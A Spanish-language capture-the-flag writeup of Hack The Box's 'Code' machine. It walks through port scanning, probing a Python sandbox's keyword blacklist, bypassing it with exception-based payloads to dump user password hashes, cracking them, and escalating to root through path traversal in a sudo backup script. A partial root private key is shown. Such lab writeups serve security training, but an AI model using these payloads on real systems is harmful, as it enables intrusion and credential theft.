🟢Code
En esta ocasión vamos a hacer el writeup de la máquina Code de Hack the Box, una máquina Linux de dificultad easy.

Primer acceso
Añadimos la IP 10.10.11.62
a nuestro /etc/hosts
y accedemos través del navegador.
sudo echo "10.10.11.62 code.htb" | sudo tee -a /etc/hosts
No tiene el puerto 80 expuesto, por lo que haremos un escaneo de puertos.
Escaneo de puertos
sudo nmap -v -sV -sCV -T5 10.10.11.11
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
| 256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
|_ 256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
5000/tcp open http Gunicorn 20.0.4
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
|_http-server-header: gunicorn/20.0.4
|_http-title: Python Code Editor
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5
Solo encontramos 2 puertos abiertos, el 22 y el 5000, que rápidamente nos llama la atención. Al acceder nos encontramos con una especie de editor/ejecutor de código desde el navegador:

Fuzzing
Haciendo fuzzing con dirsearch nos encontramos unos pocos directorios:
dirsearch -u http://10.10.11.62:5000/ -x 300,301,302,400,403,404,503
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/kali/Escritorio/machines/htb/environment/reports/http_10.10.11.62_5000/__25-05-04_21-14-42.txt
Target: http://10.10.11.62:5000/
[21:14:42] Starting:
[21:14:49] 200 - 818B - /about
[21:15:09] 200 - 730B - /login
[21:15:16] 200 - 741B - /register
Task Completed
Tiene una página de login y registro, por lo que nos registraremos para ver el interior de la aplicación:

Lo único que activa esto es un apartado de My Codes
, que sirve para guardar el código que escribamos. Al intentar un payload básico en python para ejecutar un comando de sistema como id:
import os
os.system("id")
Vemos que nos da el error:
Use of restricted keywords is not allowed.
Al intentar ejecutar una reverse shell nos da el mismo error.

Encontrar keywords restringidas
El endpoint
POST /run_code
es el responsable de ejecutar código Python.El filtro de "restricted keywords" no está en el frontend (no hay ninguna validación JS), por lo que el filtrado ocurre en el backend, probablemente usando expresiones regulares o listas negras.
Vamos a usar el siguiente script en python para encontrar las keywords restringidas en el endpoint:
import requests
import keyword
import builtins
# Configuración del endpoint
url = "http://10.10.11.62:5000/run_code"
session = requests.Session() # Agrega autenticación si es necesario
# Palabras clave del lenguaje
python_keywords = keyword.kwlist
# Funciones incorporadas (builtins)
builtin_funcs = dir(builtins)
# Módulos y funciones potencialmente peligrosas
suspicious_items = [
"os", "sys", "subprocess", "pickle", "marshal", "base64", "shutil", "__import__", "__builtins__"
]
# Combinamos todas las palabras a probar
keywords_to_test = sorted(set(python_keywords + builtin_funcs + suspicious_items))
# Testeo
print(f"[+] Testing {len(keywords_to_test)} Python identifiers...\n")
for kw in keywords_to_test:
payload = f"{kw} # test"
try:
r = session.post(url, data={"code": payload}, timeout=5)
if "restricted" in r.text.lower():
print(f"❌ BLOCKED: {kw}")
else:
print(f"✅ ALLOWED: {kw}")
except Exception as e:
print(f"⚠️ ERROR testing {kw}: {e}")
Al ejecutarlo nos muestra todas las keywords permitidas:
python3 check.py | grep BLOCKED
❌ BLOCKED: ImportError
❌ BLOCKED: ImportWarning
❌ BLOCKED: OSError
❌ BLOCKED: SystemError
❌ BLOCKED: SystemExit
❌ BLOCKED: __builtins__
❌ BLOCKED: __import__
❌ BLOCKED: eval
❌ BLOCKED: exec
❌ BLOCKED: import
❌ BLOCKED: open
❌ BLOCKED: os
❌ BLOCKED: subprocess
El filtrado está bloqueando no solo funciones/módulos peligrosos, sino también nombres relacionados con excepciones del sistema, lo cual sugiere que podrían estar evaluando la entrada con una expresión regular muy general o una lista negra más profunda de lo habitual.
Bypass Python Sandboxes
Buscando en Hacktricks encontramos un artículo interesante sobre Bypass Python Sandboxes que podemos utilizar:
Podemos usar el manejo de excepciones para interactuar con la memoria de la aplicación usando:
raise Exception(globals())
Y nos devuelve lo siguiente, confirmando que existen clases como User
y objetos de SQLAlchemy
(db
) en la aplicación Flask. Esto indica que la aplicación carga modelos de la base de datos en memoria.
Register Login About
{'__name__': 'app', '__doc__': None, '__package__': '', '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f6bc8dcc400>, '__spec__': ModuleSpec(name='app', loader=<_frozen_importlib_external.SourceFileLoader object at <---SNIP--->
'request': <Request 'http://10.10.11.62:5000/run_code' [POST]>, 'jsonify': <function jsonify at 0x7f6bc8a34c10>, 'redirect': <function redirect at 0x7f6bc889d3a0>, 'url_for': <function url_for at 0x7f6bc889d310>, 'session': <SecureCookieSession {}>, 'flash': <function flash at 0x7f6bc889d550>, 'SQLAlchemy': <class 'flask_sqlalchemy.extension.SQLAlchemy'>, 'sys': <module 'sys' (built-in)>, 'io': <module 'io' from '/usr/lib/python3.8/io.py'>, 'os': <module 'os' from '/usr/lib/python3.8/os.py'>, 'hashlib': <module 'hashlib' from '/usr/lib/python3.8/hashlib.py'>, 'app': <Flask 'app'>, 'db': <SQLAlchemy sqlite:////home/app-production/app/instance/database.db>, 'User': <class 'app.User'>, 'Code': <class 'app.Code'>, 'index': <function index at 0x7f6bc77d78b0>, 'register': <function register at 0x7f6bc77d7b80>, 'login': <function login at 0x7f6bc77d7c10>, ...
Esto significó que desde aquí podía consultar la memoria de la aplicación para extraer datos confidenciales, incluso sin necesidad de acceso directo ni importaciones.
Extraer Credenciales de Usuarios
Ejecutamos una consulta directa a la tabla User
usando SQLAlchemy
:
# Payload para extraer usuarios
raise Exception(User.query.all())
Eso nos devuelve:
[<User 1>, <User 2>]
Usando el siguiente payload extraemos las credenciales del primer usuario:
user1 = User.query.all()[0]
raise Exception(user1.__dict__)
# Nos devuelve
{'_sa_instance_state': <sqlalchemy.orm.state.InstanceState object at 0x7fc1c407f7c0>, 'id': 1, 'username': 'development', 'password': '759b74ce43947f5f4c91aeddc3e5bad3'}
Y con el siguiente payload extraemos las credenciales del segundo usuario:
user2 = User.query.all()[1]
raise Exception(user2.__dict__)
# Nos devuelve
{'_sa_instance_state': <sqlalchemy.orm.state.InstanceState object at 0x7fdebfa70220>, 'id': 2, 'username': 'martin', 'password': '3de6f30c4a09c27fc71932bfc68474be'}
Tenemos 2 usuarios y 2 hashes, que probaremos a crackear con Crackstation:
759b74ce43947f5f4c91aeddc3e5bad3
md5
development
3de6f30c4a09c27fc71932bfc68474be
md5
nafeelswordsmaster
Bingo! Tenemos credenciales de 2 usuarios:
development:development
martin:nafeelswordsmaster
Acceso por SSH
Intentamos acceder con development
, pero solo podemos acceder con el usuario martin
:
afsh4ck@kali$ ssh martin@10.10.11.62
martin@10.10.11.62's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-208-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Tue 06 May 2025 10:42:04 PM UTC
Last login: Tue May 6 22:42:05 2025 from 10.10.14.198
martin@code:~$
Al acceder encontramos un directorio backups
con un archivo interesante:
martin@code:~$ ls
backups
martin@code:~$ cd backups/
martin@code:~/backups$ ls
task.json
martin@code:~/backups$ cat task.json
{
"destination": "/home/martin/backups/",
"multiprocessing": true,
"verbose_log": false,
"directories_to_archive": [
"/home/app-production/app"
],
"exclude": [
".*"
]
}
task.json
Configuración de un script de backup que archiva
/home/app-production/app
.
Escalada de privilegios
En el directorio /home/martin
no está la flag, y no tenemos las credenciales de la otra home de app-production
. Vamos a ver los permisos de ejecución que tenemos en la máquina:
martin@code:~$ sudo -l
Matching Defaults entries for martin on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User martin may run the following commands on localhost:
(ALL : ALL) NOPASSWD: /usr/bin/backy.sh
martin@code:~$ bash backy.sh
Usage: backy.sh <task.json>
Vemos que tenemos permisos de ejecución del script en bash backy.sh
y que funciona pasándole como argumento el task.json
que nos encontramos en el directorio /backups
, vamos a echarle un vistazo al script:
martin@code:~/backups$ cat /usr/bin/backy.sh
#!/bin/bash
if [[ $# -ne 1 ]]; then
/usr/bin/echo "Usage: $0 <task.json>"
exit 1
fi
json_file="$1"
if [[ ! -f "$json_file" ]]; then
/usr/bin/echo "Error: File '$json_file' not found."
exit 1
fi
allowed_paths=("/var/" "/home/")
updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")
/usr/bin/echo "$updated_json" > "$json_file"
directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')
is_allowed_path() {
local path="$1"
for allowed_path in "${allowed_paths[@]}"; do
if [[ "$path" == $allowed_path* ]]; then
return 0
fi
done
return 1
}
for dir in $directories_to_archive; do
if ! is_allowed_path "$dir"; then
/usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
exit 1
fi
done
/usr/bin/backy "$json_file"
El script lee un archivo JSON, lo filtra con jq
para sanitizar un Directory Traversal ../
y luego lo envía a /usr/bin/backy
.
jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))'
Generar un json fake apuntando a /root
echo '{
"directories_to_archive": ["/home/....//root]",
"destination": "/home/martin"
}' > root.json
Este JSON es válido y pasará el filtro de jq
, ya que:
/home/....//root
empieza por/home/
, así que pasa el filtro deis_allowed_path
.El traversal (
....//
) puede resolverse por el sistema de archivos a/root
si el programa no aplica una resolución estricta del path.
Ahora ejecutamos backy.sh
pasándole el json:
martin@code:~$ sudo /usr/bin/backy.sh root.json
2025/05/07 00:07:12 🍀 backy 1.2
2025/05/07 00:07:12 📋 Working with root.json ...
2025/05/07 00:07:12 💤 Nothing to sync
2025/05/07 00:07:12 📤 Archiving: [/home/../root]
2025/05/07 00:07:12 📥 To: /home/martin ...
2025/05/07 00:07:12 📦
martin@code:~$ ls
backups code_home_.._root_2025_May.tar.bz2
Extraemos el tar en /tmp
:
martin@code:~$ tar -xvjf code_home_.._root_2025_May.tar.bz2 -C /tmp
root/
root/.local/
root/.local/share/
root/.local/share/nano/
root/.local/share/nano/search_history
root/.selected_editor
root/.sqlite_history
root/.profile
root/scripts/
root/scripts/cleanup.sh
root/scripts/backups/
root/scripts/backups/task.json
root/scripts/backups/code_home_app-production_app_2024_August.tar.bz2
root/scripts/database.db
root/scripts/cleanup2.sh
root/.python_history
root/root.txt
root/.cache/
root/.cache/motd.legal-displayed
root/.ssh/
root/.ssh/id_rsa
root/.ssh/authorized_keys
root/.bash_history
root/.bashrc
Root flag
martin@code:~$ cd /tmp
martin@code:/tmp$ ls
root
martin@code:/tmp$ cd root
martin@code:/tmp/root$ ls
root.txt scripts
martin@code:/tmp/root$ cat root.txt
1ac2ec8f8f3e9be271483b7d***********
Persistencia root
Vamos a extraer la clave id_rsa
de root para acceder sin contraseña y así hacernos con la user flag:
martin@code:/tmp/root$ ls -la
total 40
drwx------ 6 martin martin 4096 May 6 19:44 .
drwxrwxrwt 3 root root 4096 May 7 00:10 ..
lrwxrwxrwx 1 martin martin 9 Jul 27 2024 .bash_history -> /dev/null
-rw-r--r-- 1 martin martin 3106 Dec 5 2019 .bashrc
drwx------ 2 martin martin 4096 Aug 27 2024 .cache
drwxr-xr-x 3 martin martin 4096 Jul 27 2024 .local
-rw-r--r-- 1 martin martin 161 Dec 5 2019 .profile
lrwxrwxrwx 1 martin martin 9 Jul 27 2024 .python_history -> /dev/null
-rw-r----- 1 martin martin 33 May 6 19:44 root.txt
drwxr-xr-x 3 martin martin 4096 Apr 9 11:26 scripts
-rw-r--r-- 1 martin martin 66 Apr 9 11:27 .selected_editor
lrwxrwxrwx 1 martin martin 9 Jul 27 2024 .sqlite_history -> /dev/null
drwx------ 2 martin martin 4096 Aug 27 2024 .ssh
martin@code:/tmp/root$ cd .ssh
martin@code:/tmp/root/.ssh$ ls
authorized_keys id_rsa
martin@code:/tmp/root/.ssh$ cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAvxPw90VRJajgkjwxZqXr865V8He/HNHVlhp0CP36OsKSi0DzIZ4K
sqfjTi/WARcxLTe4lkVSVIV25Ly5M6EemWeOKA6vdONP0QUv6F1xj8f4eChrdp7BOhRe0+
zWJna8dYMtuR2K0Cxbdd+qvM7oQLPRelQIyxoR4unh6wOoIf4EL34aEvQDux+3GsFUnT4Y
MNljAsxyVFn3mzR7nUZ8BAH/Y9xV/KuNSPD4SlVqBiUjUKfs2wD3gjLA4ZQZeM5hAJSmVe
ZjpfkQOdE+++H8t2P8qGlobLvboZJ2rghY9CwimX0/g0uHvcpXAc6U8JJqo9U41WzooAi6
TWxWYbdO3mjJhm0sunCio5xTtc44M0nbhkRQBliPngaBYleKdvtGicPJb1LtjtE5lHpy+N
Ps1B4EIx+ZlBVaFbIaqxpqDVDUCv0qpaxIKhx/lKmwXiWEQIie0fXorLDqsjL75M7tY/u/
<---SNIP--->
-----END OPENSSH PRIVATE KEY-----
Guardamos el id_rsa
en un archivo en nuestro Kali Linux y le damos permisos limitados con chmod 600
:
afsh4ck@kali$ chmod 600 root_id_rsa
afsh4ck@kali$ ssh -i root_id_rsa root@10.10.11.62
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-208-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Wed 07 May 2025 12:18:11 AM UTC
Last login: Wed May 7 00:18:11 2025 from 10.10.14.19
root@code:~#
User flag
root@code:/# cd /home
root@code:/home# ls
app-production martin
root@code:/home# cd app-production/
root@code:/home/app-production# ls
app user.txt
root@code:/home/app-production# cat user.txt
914503d998a0f92fd79567***********
Última actualización
¿Te fue útil?